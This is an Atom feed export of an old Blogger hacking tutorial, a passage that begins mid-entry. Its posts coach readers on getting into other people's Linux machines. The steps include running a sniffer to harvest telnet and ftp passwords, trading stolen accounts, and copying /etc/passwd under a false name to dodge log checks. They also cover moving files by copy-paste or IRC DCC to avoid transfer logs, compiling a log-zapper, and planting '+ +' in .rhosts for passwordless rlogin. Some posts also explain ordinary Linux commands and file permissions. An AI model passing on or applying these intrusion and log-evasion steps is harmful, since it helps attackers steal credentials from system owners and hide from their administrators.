src='https://blogger.googleusercontent.com/tracker/3071953721373396848-3119036851818046833?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/3119036851818046833/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=3119036851818046833' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/3119036851818046833'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/3119036851818046833'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2007/01/cracking-passwd-files.html' title='Cracking passwd files'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-8582216334570455352</id><published>2007-01-02T00:29:00.000+05:30</published><updated>2007-01-02T00:31:01.121+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Getting Started (Your 1st account)</title><content type='html'>&lt;div style="text-align: justify;"&gt;There are many ways to get a starter account. I will go into each area to help you get started.  All you need is one good account to spawn off to hundreds of accounts.  Think of this; You get one good exploitable system, most any linux machine ;)&lt;br /&gt;&lt;br /&gt;Now you get root access and load a sniffer program.  The TCP sniffer will search out any login process on the network and log the login and password for any telnet, ftp, or dial-in session going out or coming into the system.&lt;br /&gt;&lt;br /&gt;Now even if it is a small ethernet connection you have around 100 passwords for a few machines or domains.  If a larger net provider you have hundreds of accounts all over the world!  All you need for this is one good account and password to an exploitable system.  If it seems you can not exploit root on the system, this might be a good system to crack passwords on and exchange the accounts for other accounts from hackers or irc users that are looking to load a bot but do not have the shell account or disk space to do it.  NEVER give out even one password to a system you exploited root on.&lt;br /&gt;&lt;br /&gt;Keep these systems to yourself!&lt;br /&gt;&lt;br /&gt;Lets now get into ways to get your first accounts.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-8582216334570455352?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/8582216334570455352/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=8582216334570455352' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/8582216334570455352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/8582216334570455352'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2007/01/getting-started-your-1st-account.html' title='Getting Started (Your 1st account)'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-4082594223892413764</id><published>2007-01-01T03:53:00.001+05:30</published><updated>2007-01-01T03:54:16.441+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>GCC Compiler</title><content type='html'>&lt;div style="text-align: justify;"&gt;There will be a time when you will need to compile a .c file.&lt;br /&gt;&lt;br /&gt;It is best to compile on the machine you are working on.  So upload or copy and past the files to the hacked box and compile them there.  If you have problems with their compiler you can try to upload pre-compiled files.&lt;br /&gt;&lt;br /&gt;One way to get the file up to the victims machine would be to use copy and paste.  Get a good tsr or windows shareware program to do this if you do not have any way to do it now.  You can copy a script file from one window and paste it into an editor on the victims machine, and then compile the new file.  Walaa... no upload log of the file.  You can copy and paste from the victims machine as well so that there are no download logs of ascii files.&lt;br /&gt;&lt;br /&gt;To copy and paste you can just open an editor on the hacked box, and then copy from your other session, and paste your script into the editor and save the file.  This way there will not be anything in the xferlog yet.&lt;br /&gt;&lt;br /&gt;You can do the same thing with the password file.  If you do decide to download the password file using ftp, make sure to copy it to your home directory first under a different name.&lt;br /&gt;&lt;br /&gt;bash:/etc:&gt; cp passwd $HOME/plog  would copy the file called passwd from the /etc directory you were in, to your home directory in a file called plog instead of passwd.  Admin's grep the xfer logs looking for who is downloading the passwd file.&lt;br /&gt;&lt;br /&gt;Another way to get file to or from the box without showing up in the logs would be to open an irc session on the victims machine, then from your other session where you are already a user on irc, send the files using dcc.&lt;br /&gt;&lt;br /&gt;The command to send the files would be /dcc send &lt;nick&gt; &lt;filename&gt; The command to get the file on the other side would be /dcc get &lt;nick&gt; &lt;file&gt;&lt;br /&gt;&lt;br /&gt;It would be nice if you had a bot loaded on the irc when you were hacking so that you could just send files to the bot and have it auto receive them.&lt;br /&gt;&lt;br /&gt;A 'bot' is a robot program that you can load in the background on your shell account that will receive files, keep channels open, etc...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The GCC compiler is easy...&lt;br /&gt;&lt;br /&gt;gcc filename.c -o filenameyouwant&lt;br /&gt;&lt;br /&gt;If i was to compile a file called z2.c that would zap the log files i would type this:&lt;br /&gt;&lt;br /&gt;gcc z2.c -o zap&lt;br /&gt;&lt;br /&gt;This would give me a file that would exe, called zap.&lt;br /&gt;&lt;br /&gt;If I just typed : gcc z2.c  I would have a file named a.out, that was the executable file and would have to rename it to zap, or some name i would know by doing this: mv a.out zap&lt;br /&gt;&lt;br /&gt;Now I would have a file named zap that was executable instead of a.out.&lt;br /&gt;&lt;br /&gt;You will want to make sure you are not naming these files names that sys admin's will know.  If you had a sniffer file called 'linuxsniffer.c' you don't want to keep the same name ;) call it something like:&lt;br /&gt;&lt;br /&gt;gcc linuxsniffer.c -o lsn&lt;br /&gt;&lt;br /&gt;Remember also sometimes you can execute these files names right in the directory by just typing the file name like for our 'lsn' (sniffer) above just by typing lsn.  But sometimes this will not work unless you add a ./ to the command.  So remember, sometimes you will need to type ./lsn  or your file name.&lt;br /&gt;&lt;br /&gt;Also there will be a time you will want a program to run in the background even after you logoff.  Like in the case of the sniffer above.  In this case you might want to name your sniffer something that would not be so easy noticed.  Use your own style here.  BUT to make it stay in the background while you are off the system you need to run the command with a &amp; after the command.&lt;br /&gt;&lt;br /&gt;lsn&amp;amp;&lt;br /&gt;&lt;br /&gt;If you were to just type lsn, your screen would pause, and you would not be able to type while the program was sniffing, but if you typed lsn&amp;amp; it would load and the system prompt would come right back to you.  Also the system would let you know it was loaded by giving you the process id # that it was loaded as.&lt;br /&gt;&lt;br /&gt;You could view the process with the ps -x command, you might want to run&lt;br /&gt;ps -auxe |more&lt;br /&gt;&lt;br /&gt;a= all&lt;br /&gt;u= show user&lt;br /&gt;x= yours&lt;br /&gt;e= env&lt;br /&gt;&lt;br /&gt;some machines&lt;br /&gt;f=tree&lt;br /&gt;or command: pstree&lt;br /&gt;&lt;/file&gt;&lt;/nick&gt;&lt;/filename&gt;&lt;/nick&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-4082594223892413764?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/4082594223892413764/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=4082594223892413764' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/4082594223892413764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/4082594223892413764'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2007/01/gcc-compiler.html' title='GCC Compiler'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-7973806805120394387</id><published>2006-12-30T23:07:00.000+05:30</published><updated>2006-12-31T05:10:00.046+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>FTP</title><content type='html'>&lt;div style="text-align: justify;"&gt;Another way to login will be FTP.  You can use a windows client, or just login from a shell.&lt;br /&gt;&lt;br /&gt;ftp ftp.domain.com&lt;br /&gt;&lt;br /&gt;This will allow you to download or upload files to the site you are hacking. Just make sure to edit the xferlog to wipe your tracks on the system.  Remember NEVER to ftp or telnet out of the hacked system, only log into it!  If you are coming from your own system, or from another hacked account you might just be giving your login and password to the system admin or another hacker on their system.  There could be a telnetd or ftpd trojan loaded on the system, or even a sniffer.  Now you would have just gave someone your login id and password.  And if this was the system admin, he might have the idea that revenge is sweet ;)&lt;br /&gt;&lt;br /&gt;Using ftp from the shell, I would suggest using a few commands:&lt;br /&gt;&lt;br /&gt;After you login, and have your prompt, type these commands pressing enter after each one.&lt;br /&gt;&lt;br /&gt;prompt&lt;br /&gt;hash&lt;br /&gt;bin&lt;br /&gt;&lt;br /&gt;prompt will allow you to type a command like (mget *) or (mput*) and transfer an entire directory without having it prompt you for each file yes or no.&lt;br /&gt;&lt;br /&gt;hash will put ############ on the screen so you can see the transfer is still moving and at what speed.&lt;br /&gt;&lt;br /&gt;bin will make sure you get the files in the right mode, and if transferring binary files, you will be sure they will uncompresses.&lt;br /&gt;&lt;br /&gt;The transfer commands are easy, get filename, or, put filename, or for many files you can use regular wild cards with mput  or mget.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-7973806805120394387?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/7973806805120394387/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=7973806805120394387' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/7973806805120394387'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/7973806805120394387'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2006/12/ftp.html' title='FTP'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-4684074170401719892</id><published>2006-12-29T22:03:00.000+05:30</published><updated>2006-12-31T05:06:04.327+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Rlogin</title><content type='html'>&lt;div style="text-align: justify;"&gt;There is another command you might use and we will get into this elsewhere as we get into using rlogin to login to a system without a password.&lt;br /&gt;&lt;br /&gt;For now read the man pages on rlogin by using the man rlogin from your shell account.&lt;br /&gt;&lt;br /&gt;The basic command would be :&lt;br /&gt;&lt;br /&gt;rlogin -l username hostname&lt;br /&gt;connecting....&lt;br /&gt;password:&lt;br /&gt;&lt;br /&gt;bash$&lt;br /&gt;&lt;br /&gt;Rlogin requires the user to have a file in their home directory that tells what system they can receive the rlogin from.  In this file .rhosts it would look like this:&lt;br /&gt;&lt;br /&gt;username hostname (or) hostname&lt;br /&gt;&lt;br /&gt;if you were to add to this file   + +   it would let any user from any host login without a password.&lt;br /&gt;&lt;br /&gt;The file would look like this:&lt;br /&gt;&lt;br /&gt;----- cut here ------&lt;br /&gt;+ +&lt;br /&gt;_____ cut here ------&lt;br /&gt;&lt;br /&gt;if they already had entry's you could add the + + under their host names, but remember now they would notice seeing they would now be able to rlogin without the password.  You would be targeting people that did not already have a .rhosts file.&lt;br /&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-4684074170401719892?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/4684074170401719892/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=4684074170401719892' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/4684074170401719892'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/4684074170401719892'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2006/12/rlogin.html' title='Rlogin'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-7360432900861813040</id><published>2006-12-28T23:25:00.000+05:30</published><updated>2006-12-28T23:29:55.234+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Linux file permission</title><content type='html'>&lt;div style="text-align: justify;"&gt;bash$ cd /tmp&lt;br /&gt;bash$ ls -l&lt;br /&gt;total 783&lt;br /&gt;-rwx------   1 wood     users           1 Jan 25 18:28 190067haa&lt;br /&gt;-rw-r--r--   1 berry    mail            1 Jan 16 12:38 fillter.14428&lt;br /&gt;-rw-------   1 rhey19   root       395447 Jan 24 02:59 popp3a13598&lt;br /&gt;-rw-------   1 rhey19   root       395447 Jan 24 03:00 popp3a13600&lt;br /&gt;drwxr-xr-x   4 root     root         1024 Jan 12 13:18 screens&lt;br /&gt;&lt;br /&gt;First notice that we used a / and not \ to change to the tmp directory! linux uses the / as the root so it is backwards from DOS here.&lt;br /&gt;&lt;br /&gt;Notice we did ls -l for the long directory. If we did 'ls' we would have what you see below.&lt;br /&gt;&lt;br /&gt;bash$ ls&lt;br /&gt;19067haa      filter.14428  pop3a13598    pop3a13600    screens&lt;br /&gt;&lt;br /&gt;With what we see here can not tell much, so most of the time we will be using ls -al with the -al we will see the hidden files also, hidden files and directories will always start with a '.'.  Now watch:&lt;br /&gt;&lt;br /&gt;bash$ ls -al&lt;br /&gt;total 794&lt;br /&gt;drwxrwxrwt   4 root     root         8192 Jan 25 23:05 .&lt;br /&gt;drwxr-xr-x  22 root     root         1024 Dec 28 18:07 ..&lt;br /&gt;-rw-r--r--   1 berry    users           6 Jan 25 23:05 .piinetemp.000&lt;br /&gt;drwxr-xr-x   2 berry    users        1024 Jan 25 23:05 .test&lt;br /&gt;-rwx------   1 wood     users           1 Jan 25 18:28 190067haa&lt;br /&gt;-rw-r--r--   1 berry    mail            1 Jan 16 12:38 fillter.14428&lt;br /&gt;-rw-------   1 rhey19   root       395447 Jan 24 02:59 popp3a13598&lt;br /&gt;-rw-------   1 rhey19   root       395447 Jan 24 03:00 popp3a13600&lt;br /&gt;drwxr-xr-x   4 root     root         1024 Jan 12 13:18 screens&lt;br /&gt;&lt;br /&gt;.pinetemp.000 is a hidden file, and .test is a hidden directory.&lt;br /&gt;&lt;br /&gt;-rw-r--r--   1 berry    mail            1 Jan 16 12:38 fillter.14428&lt;br /&gt;&lt;br /&gt;row 1          row2     row3&lt;br /&gt;----------------------------&lt;br /&gt;&lt;br /&gt;Now here we need to learn about permissions, users, and groups.&lt;br /&gt;&lt;br /&gt;Row #1 is the file permissions&lt;br /&gt;Row #2 is who owns the file&lt;br /&gt;Row #3 is the group owner of the file&lt;br /&gt;&lt;br /&gt;File permissions are grouped together into three different groups.&lt;br /&gt;&lt;br /&gt;If the line starts with a d, it is a directory, if there is no d, it is a file.&lt;br /&gt;&lt;br /&gt;- --- --- ---&lt;br /&gt;| |   |   |--------&gt; Other = anyone on the machine can access&lt;br /&gt;| |   |------------&gt; Group = certain groups can access&lt;br /&gt;| |----------------&gt; User  = only the owner can access&lt;br /&gt;|------------------&gt; Directory Mark&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- rw- r-- r--&lt;br /&gt;| |   |   |--------&gt; Other can only read the file&lt;br /&gt;| |   |------------&gt; Group can only read the file&lt;br /&gt;| |----------------&gt; User  can read or write to the file&lt;br /&gt;|------------------&gt; It is not a directory&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- rwx rwx r-x&lt;br /&gt;| |   |   |--------&gt; Other can read and execute the file&lt;br /&gt;| |   |------------&gt; Group can read write and execute the file&lt;br /&gt;| |----------------&gt; User  can read write and execute the file&lt;br /&gt;|------------------&gt; It is not a directory&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The owner is the user name in row #2 and the group owner is the name in row #3. In DOS the file has to have a .exe, .com, or .bat extension to execute, but in unix all you need is the --x in your group of user, other, group.&lt;br /&gt;&lt;br /&gt;You can change these permissions if you own the file or have root access:&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------------------&lt;br /&gt;chmod oug+r filename will make all three groups of permissions be able to read the file.&lt;br /&gt;&lt;br /&gt;chmod og-r filename would make the file readable only to the user that owns the file.  (notice the - or + to set the file yes or no)&lt;br /&gt;&lt;br /&gt;chmod +x filename would make the file execute by all.&lt;br /&gt;&lt;br /&gt;chown username filename would make the file owned by another user.&lt;br /&gt;chgrp groupname filename would make the file owned by another group.&lt;br /&gt;----------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Make sure to keep file perm's and groups the same or you will be sniffed out and booted from the system. Changing configs on the system might only break other functions, so keep your paws off or you are just asking to get cought.  Only do what you are *SURE* of.  Only use commands that you know, you might find yourself spending hours fixing just one typo like chown -R username /* could keep you busy for a year ;)&lt;br /&gt;&lt;br /&gt;Just be careful!&lt;br /&gt;&lt;br /&gt;We will get into this stuff more as we go into the needs for this.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-7360432900861813040?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/7360432900861813040/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=7360432900861813040' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/7360432900861813040'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/7360432900861813040'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2006/12/linux-file-permission.html' title='Linux file permission'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-6943897919506038314</id><published>2006-12-28T00:22:00.000+05:30</published><updated>2006-12-28T23:25:01.075+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Telnet</title><content type='html'>&lt;div style="text-align: justify;"&gt;Telnet is a command that you can use from a shell account, or from an exe file (telnet.exe) from Windows, OS/2, Windows 95 and other operating systems that will let you connect to another machine on the net.  There are other programs you will learn about here like FTP, and rlogin that you can use as well but now we will use telnet.&lt;br /&gt;&lt;br /&gt;You can use telnet if you know the IP address or the host name you want to connect or login to.  To use the command you would just use the telnet program to connect to the IP or host like this:&lt;br /&gt;&lt;br /&gt;Telnet netcom.com  or  telnet 206.146.43.56&lt;br /&gt;&lt;br /&gt;Ok, now lets login:&lt;br /&gt;&lt;br /&gt;telnet machine.com&lt;br /&gt;&lt;br /&gt;trying .....&lt;br /&gt;&lt;br /&gt;Connected to machine.com&lt;br /&gt;&lt;br /&gt;Linux 2.0.28 (machine.com) (ttyp0)&lt;br /&gt;&lt;br /&gt;machine login:username&lt;br /&gt;password:#######&lt;br /&gt;&lt;br /&gt;bash$&lt;br /&gt;&lt;br /&gt;Your prompt might look different, but we will use this one.&lt;br /&gt;&lt;br /&gt;Notice above that it will tell you the O/S when you get the login prompt. You can use this if you get a large collection of passwd files.  Even before going on to crack them sort them by O/S types by just telnet-ing to them to see what they are running.  There are other ways, but lets keep this telnet topic going for a sec... telnet domain.name.com, after you see what they are running make a note of this and ctrl ] to break out of the connection.&lt;br /&gt;&lt;br /&gt;Put all of your linux passwd files into a pile to be cracked first.  All we need is one account that works for the system, and we can be almost sure we will have root on that machine!  There are way to many holes in linux to think we will not be able to own one of those machines, so lets get to work so we can start this wonderful world of hacking.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-6943897919506038314?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/6943897919506038314/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=6943897919506038314' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/6943897919506038314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/6943897919506038314'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2006/12/telnet.html' title='Telnet'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-7729733162740192223</id><published>2006-12-26T23:14:00.000+05:30</published><updated>2006-12-28T23:22:43.084+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Linux Commands you need to know</title><content type='html'>&lt;div style="text-align: justify;"&gt;There are just a few basic commands you need to learn, and then some linux programs that will aid you in logging in logging into or keeping access to the machine.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Basic commands&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I hope you have a basic knowledge of DOS, that would help a bit, and I will assume that you already do in writing this manual.&lt;br /&gt;&lt;br /&gt;DOS Commands you are used to first:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;REMEMBER&lt;/span&gt;: unix is case sensitive, so if I here use lower case you must also, if I use a space you must also.  DOS will let you get away with allot of things but unix will not!&lt;br /&gt;&lt;br /&gt;DIR/W              = ls&lt;br /&gt;DIR                    = ls -l&lt;br /&gt;DIR/AH            = ls -al  AH=(hidden) -al=(include hidden files as well as regular)&lt;br /&gt;RENAME          = mv&lt;br /&gt;ATTRIB            = chmod&lt;br /&gt;MD                     = mkdir&lt;br /&gt;RD                     = rmdir&lt;br /&gt;DEL                   = rm&lt;br /&gt;COPY               = cp&lt;br /&gt;&lt;br /&gt;These are the basic commands, i suggest that you lookup the man pages on each one of these commands from your unix shell.  You would do this by typing 'man command' without the ''. e.g. 'man ls' for detailing of commnad 'ls'&lt;br /&gt;&lt;br /&gt;each one of these commands will have switches for them, like cp -R to copy files and directories.  So you would type man cp to get all of the switches you can use with the copy command.&lt;br /&gt;&lt;br /&gt;cd {then press enter} will always take you to your home directory&lt;br /&gt;cp filename $HOME will copy the file to your home directory&lt;br /&gt;cd ~username will take you to that users home dir if you have access to bethere&lt;br /&gt;pwd {press enter} will show you what directory you are in.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-7729733162740192223?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/7729733162740192223/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=7729733162740192223' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/7729733162740192223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/7729733162740192223'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2006/12/linux-commands-you-need-to-know.html' title='Linux Commands you need to know'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-2598228466724337897</id><published>2006-12-26T06:51:00.000+05:30</published><updated>2006-12-26T07:21:02.556+05:30</updated><title type='text'>Preface</title><content type='html'>&lt;p style="text-align: justify;" class="MsoNormal"&gt;This blog is not about shortcut techniques to crack some passwords. I'm not claiming to be a hacker. I indeed am not. I'm a learner and I respect learners.&lt;br /&gt;&lt;br /&gt;Some of my friends think that hacking is to crack some password or getting into someone's computer. Few years earlier, I used to think the same. Time changed my way of thinking. Now, I think hacking is all about learning more and more concept. Hacking is about the hunger of knowledge.&lt;br /&gt;&lt;br /&gt;There are no shortcuts. If you want to be a hacker, you need to learn the basics. And you need to continue learning always.&lt;br /&gt;&lt;br /&gt;I'm not here to lecture about what you should do and what you should not. I'll also not preach about the hacking ethics. After all, everyone is responsible for his/her own deeds.&lt;br /&gt;&lt;br /&gt;This blog will contain posts from other websites, books and tutorials. It is possible that all the posts are reproduced from some place. So, please don't enlighten me about where I copied it from; coz I already know if I copied. I can't promise originality (I'm a learner after all). But, this blog is going to be a good source of basic information.&lt;br /&gt;&lt;br /&gt;I'm using this blog as a personal container of information. So, please don't sue me if I copied you. Most of the time I'll try to cite the source though.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-2598228466724337897?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/2598228466724337897/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=2598228466724337897' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/2598228466724337897'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/2598228466724337897'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2006/12/preface.html' title='Preface'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry></feed>